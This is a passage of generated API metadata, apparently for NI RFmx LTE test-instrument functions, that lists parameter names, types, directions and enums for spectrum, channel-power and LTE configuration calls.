'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'resultName', 'type': 'char[]' }, { 'direction': 'in', 'name': 'x0', 'type': 'float64' }, { 'direction': 'in', 'name': 'dx', 'type': 'float64' }, { 'direction': 'in', 'name': 'iq', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'in', 'name': 'reset', 'type': 'int32' }, { 'direction': 'in', 'hardcoded_value': '0', 'include_in_proto': False, 'name': 'reserved', 'type': 'int64' } ], 'returns': 'int32' }, 'AnalyzeSpectrum1Waveform': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'resultName', 'type': 'char[]' }, { 'direction': 'in', 'name': 'x0', 'type': 'float64' }, { 'direction': 'in', 'name': 'dx', 'type': 'float64' }, { 'direction': 'in', 'name': 'spectrum', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'in', 'name': 'reset', 'type': 'int32' }, { 'direction': 'in', 'hardcoded_value': '0', 'include_in_proto': False, 'name': 'reserved', 'type': 'int64' } ], 'returns': 'int32' }, 'AutoLevel': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'measurementInterval', 'type': 'float64' }, { 'direction': 'out', 'name': 'referenceLevel', 'type': 'float64' } ], 'returns': 'int32' }, 'BuildCarrierString': { 'parameters': [ { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'carrierNumber', 'type': 'int32' }, { 'direction': 'in', 'name': 'selectorStringOutLength', 'type': 'int32' }, { 'direction': 'out', 'name': 'selectorStringOut', 'size': { 'mechanism': 'ivi-dance', 'value': 'selectorStringOutLength' }, 'type': 'char[]' } ], 'returns': 'int32' }, 'BuildClusterString': { 'parameters': [ { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'clusterNumber', 'type': 'int32' }, { 'direction': 'in', 'name': 'selectorStringOutLength', 'type': 'int32' }, { 'direction': 'out', 'name': 'selectorStringOut', 'size': { 'mechanism': 'ivi-dance', 'value': 'selectorStringOutLength' }, 'type': 'char[]' } ], 'returns': 'int32' }, 'BuildOffsetString': { 'parameters': [ { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'offsetNumber', 'type': 'int32' }, { 'direction': 'in', 'name': 'selectorStringOutLength', 'type': 'int32' }, { 'direction': 'out', 'name': 'selectorStringOut', 'size': { 'mechanism': 'ivi-dance', 'value': 'selectorStringOutLength' }, 'type': 'char[]' } ], 'returns': 'int32' }, 'BuildPDSCHString': { 'parameters': [ { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'pdschNumber', 'type': 'int32' }, { 'direction': 'in', 'name': 'selectorStringOutLength', 'type': 'int32' }, { 'direction': 'out', 'name': 'selectorStringOut', 'size': { 'mechanism': 'ivi-dance', 'value': 'selectorStringOutLength' }, 'type': 'char[]' } ], 'returns': 'int32' }, 'BuildSignalString': { 'parameters': [ { 'direction': 'in', 'name': 'signalName', 'type': 'char[]' }, { 'direction': 'in', 'name': 'resultName', 'type': 'char[]' }, { 'direction': 'in', 'name': 'selectorStringLength', 'type': 'int32' }, { 'direction': 'out', 'name': 'selectorString', 'size': { 'mechanism': 'ivi-dance', 'value': 'selectorStringLength' }, 'type': 'char[]' } ], 'returns': 'int32' }, 'BuildSubblockString': { 'parameters': [ { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'subblockNumber', 'type': 'int32' }, { 'direction': 'in', 'name': 'selectorStringOutLength', 'type': 'int32' }, { 'direction': 'out', 'name': 'selectorStringOut', 'size': { 'mechanism': 'ivi-dance', 'value': 'selectorStringOutLength' }, 'type': 'char[]' } ], 'returns': 'int32' }, 'BuildSubframeString': { 'parameters': [ { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'subframeNumber', 'type': 'int32' }, { 'direction': 'in', 'name': 'selectorStringOutLength', 'type': 'int32' }, { 'direction': 'out', 'name': 'selectorStringOut', 'size': { 'mechanism': 'ivi-dance', 'value': 'selectorStringOutLength' }, 'type': 'char[]' } ], 'returns': 'int32' }, 'CHPCfgAveraging': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ChpAveragingEnabled', 'name': 'averagingEnabled', 'type': 'int32' }, { 'direction': 'in', 'name': 'averagingCount', 'type': 'int32' }, { 'direction': 'in', 'enum': 'ChpAveragingType', 'name': 'averagingType', 'type': 'int32' } ], 'returns': 'int32' }, 'CHPCfgIntegrationBandwidthType': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ChpIntegrationBandwidthType', 'name': 'integrationBandwidthType', 'type': 'int32' } ], 'returns': 'int32' }, 'CHPCfgRBWFilter': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ChpRbwAutoBandwidth', 'name': 'rbwAuto', 'type': 'int32' }, { 'direction': 'in', 'name': 'rbw', 'type': 'float64' }, { 'direction': 'in', 'enum': 'ChpRbwFilterType', 'name': 'rbwFilterType', 'type': 'int32' } ], 'returns': 'int32' }, 'CHPCfgSweepTime': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ChpSweepTimeAuto', 'name': 'sweepTimeAuto', 'type': 'int32' }, { 'direction': 'in', 'name': 'sweepTimeInterval', 'type': 'float64' } ], 'returns': 'int32' }, 'CHPFetchComponentCarrierMeasurement': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'absolutePower', 'type': 'float64' }, { 'direction': 'out', 'name': 'relativePower', 'type': 'float64' } ], 'returns': 'int32' }, 'CHPFetchComponentCarrierMeasurementArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'absolutePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'relativePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'CHPFetchSpectrum': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'spectrum', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'CHPFetchSubblockMeasurement': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'subblockPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'integrationBandwidth', 'type': 'float64' }, { 'direction': 'out', 'name': 'frequency', 'type': 'float64' } ], 'returns': 'int32' }, 'CHPFetchTotalAggregatedPower': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'totalAggregatedPower', 'type': 'float64' } ], 'returns': 'int32' }, 'CHPValidateNoiseCalibrationData': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'out', 'enum': 'ChpNoiseCalibrationDataValid', 'name': 'noiseCalibrationDataValid', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgAutoDMRSDetectionEnabled': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AutoDmrsDetectionEnabled', 'name': 'autoDMRSDetectionEnabled', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgAutoNPUSCHChannelDetectionEnabled': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AutoNPuschChannelDetectionEnabled', 'name': 'autoNPUSCHChannelDetectionEnabled', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgAutoResourceBlockDetectionEnabled': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AutoResourceBlockDetectionEnabled', 'name': 'autoResourceBlockDetectionEnabled', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgBand': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'band', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgCellSpecificRatio': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'DownlinkUserDefinedRatio', 'name': 'cellSpecificRatio', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgComponentCarrier': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'componentCarrierBandwidth', 'type': 'float64' }, { 'direction': 'in', 'name': 'componentCarrierFrequency', 'type': 'float64' }, { 'direction': 'in', 'name': 'cellID', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgComponentCarrierArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'componentCarrierBandwidth', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'componentCarrierFrequency', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'cellID', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'int32[]' }, { 'direction': 'in', 'name': 'numberOfElements', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgComponentCarrierSpacing': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ComponentCarrierSpacingType', 'name': 'componentCarrierSpacingType', 'type': 'int32' }, { 'direction': 'in', 'name': 'componentCarrierAtCenterFrequency', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgDigitalEdgeTrigger': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'DigitalEdgeTriggerSource', 'name': 'digitalEdgeSource', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'DigitalEdgeTriggerEdge', 'name': 'digitalEdge', 'type': 'int32' }, { 'direction': 'in', 'name': 'triggerDelay', 'type': 'float64' }, { 'direction': 'in', 'name': 'enableTrigger', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgDownlinkAutoCellIDDetectionEnabled': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'DownlinkAutoCellIDDetectionEnabled', 'name': 'autoCellIDDetectionEnabled', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgDownlinkAutoChannelDetection': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'AutoPdschChannelDetectionEnabled', 'name': 'autoPDSCHChannelDetectionEnabled', 'type': 'int32' }, { 'direction': 'in', 'enum': 'AutoControlChannelPowerDetectionEnabled', 'name': 'autoControlChannelPowerDetectionEnabled', 'type': 'int32' }, { 'direction': 'in', 'enum': 'AutoPcfichCfiDetectionEnabled', 'grpc_name': 'auto_pcfich_cfi_detection_enabled', 'name': 'autoPCFICHCFIDetectionEnabled', 'type': 'int32' }, { 'direction': 'in', 'hardcoded_value': '0', 'include_in_proto': False, 'name': 'reserved', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgDownlinkChannelConfigurationMode': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'DownlinkChannelConfigurationMode', 'name': 'channelConfigurationMode', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgDownlinkNumberOfSubframes': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfSubframes', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgDownlinkSynchronizationSignal': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'pssPower', 'type': 'float64' }, { 'direction': 'in', 'name': 'sssPower', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgDownlinkTestModel': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'DownlinkTestModel', 'name': 'downlinkTestModel', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgDownlinkTestModelArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'DownlinkTestModel', 'name': 'downlinkTestModel', 'size': { 'mechanism': 'len', 'value': 'numberOfElements' }, 'type': 'int32[]' }, { 'direction': 'in', 'name': 'numberOfElements', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgDuplexScheme': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'DuplexScheme', 'name': 'duplexScheme', 'type': 'int32' }, { 'direction': 'in', 'enum': 'UplinkDownlinkConfiguration', 'name': 'uplinkDownlinkConfiguration', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgEMTCAnalysisEnabled': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'EmtcAnalysisEnabled', 'name': 'emtcAnalysisEnabled', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgExternalAttenuation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'externalAttenuation', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgFrequency': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'centerFrequency', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgFrequencyEARFCN': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'LinkDirection', 'name': 'linkDirection', 'type': 'int32' }, { 'direction': 'in', 'name': 'band', 'type': 'int32' }, { 'direction': 'in', 'name': 'earfcn', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgFrequencyReference': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'channelName', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'FrequencyReferenceSource', 'name': 'frequencyReferenceSource', 'type': 'char[]' }, { 'direction': 'in', 'name': 'frequencyReferenceFrequency', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgIQPowerEdgeTrigger': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'iqPowerEdgeSource', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'IQPowerEdgeTriggerSlope', 'name': 'iqPowerEdgeSlope', 'type': 'int32' }, { 'direction': 'in', 'name': 'iqPowerEdgeLevel', 'type': 'float64' }, { 'direction': 'in', 'name': 'triggerDelay', 'type': 'float64' }, { 'direction': 'in', 'enum': 'TriggerMinimumQuietTimeMode', 'name': 'triggerMinQuietTimeMode', 'type': 'int32' }, { 'direction': 'in', 'name': 'triggerMinQuietTimeDuration', 'type': 'float64' }, { 'direction': 'in', 'enum': 'IQPowerEdgeTriggerLevelType', 'name': 'iqPowerEdgeLevelType', 'type': 'int32' }, { 'direction': 'in', 'name': 'enableTrigger', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgLinkDirection': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'LinkDirection', 'name': 'linkDirection', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgMechanicalAttenuation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'channelName', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'MechanicalAttenuationAuto', 'name': 'mechanicalAttenuationAuto', 'type': 'int32' }, { 'direction': 'in', 'name': 'mechanicalAttenuationValue', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgNBIoTComponentCarrier': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'nCellID', 'type': 'int32' }, { 'direction': 'in', 'enum': 'NBIoTUplinkSubcarrierSpacing', 'name': 'uplinkSubcarrierSpacing', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgNPUSCHDMRS': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'NPuschDmrsBaseSequenceMode', 'grpc_name': 'npusch_dmrs_base_sequence_mode', 'name': 'npuschdmrsBaseSequenceMode', 'type': 'int32' }, { 'direction': 'in', 'grpc_name': 'npusch_dmrs_base_sequence_index', 'name': 'npuschdmrsBaseSequenceIndex', 'type': 'int32' }, { 'direction': 'in', 'grpc_name': 'npusch_dmrs_cyclic_shift', 'name': 'npuschdmrsCyclicShift', 'type': 'int32' }, { 'direction': 'in', 'enum': 'NPuschDmrsGroupHoppingEnabled', 'grpc_name': 'npusch_dmrs_group_hopping_enabled', 'name': 'npuschdmrsGroupHoppingEnabled', 'type': 'int32' }, { 'direction': 'in', 'grpc_name': 'npusch_dmrs_delta_ss', 'name': 'npuschdmrsDeltaSS', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgNPUSCHFormat': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'format', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgNPUSCHStartingSlot': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'startingSlot', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgNPUSCHTones': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'toneOffset', 'type': 'int32' }, { 'direction': 'in', 'name': 'numberOfTones', 'type': 'int32' }, { 'direction': 'in', 'enum': 'NPuschModulationType', 'name': 'modulationType', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgNumberOfComponentCarriers': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfComponentCarriers', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgNumberOfDUTAntennas': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfDUTAntennas', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgNumberOfPDSCHChannels': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfPDSCHChannels', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgNumberOfPUSCHResourceBlockClusters': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfResourceBlockClusters', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgNumberOfSubblocks': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfSubblocks', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgPBCH': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'pbchPower', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgPCFICH': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'cfi', 'type': 'int32' }, { 'direction': 'in', 'name': 'power', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgPDCCH': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'pdcchPower', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgPDSCH': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'UserDefinedPdschCW0ModulationType', 'name': 'cw0ModulationType', 'type': 'int32' }, { 'direction': 'in', 'name': 'resourceBlockAllocation', 'type': 'char[]' }, { 'direction': 'in', 'name': 'power', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgPHICH': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'DownlinkUserDefinedPhichResource', 'name': 'resource', 'type': 'int32' }, { 'direction': 'in', 'enum': 'DownlinkUserDefinedPhichDuration', 'name': 'duration', 'type': 'int32' }, { 'direction': 'in', 'name': 'power', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgPSSCHModulationType': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'modulationType', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgPSSCHResourceBlocks': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'resourceBlockOffset', 'type': 'int32' }, { 'direction': 'in', 'name': 'numberOfResourceBlocks', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgPUSCHModulationType': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'PuschModulationType', 'name': 'modulationType', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgPUSCHResourceBlocks': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'resourceBlockOffset', 'type': 'int32' }, { 'direction': 'in', 'name': 'numberOfResourceBlocks', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgRF': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 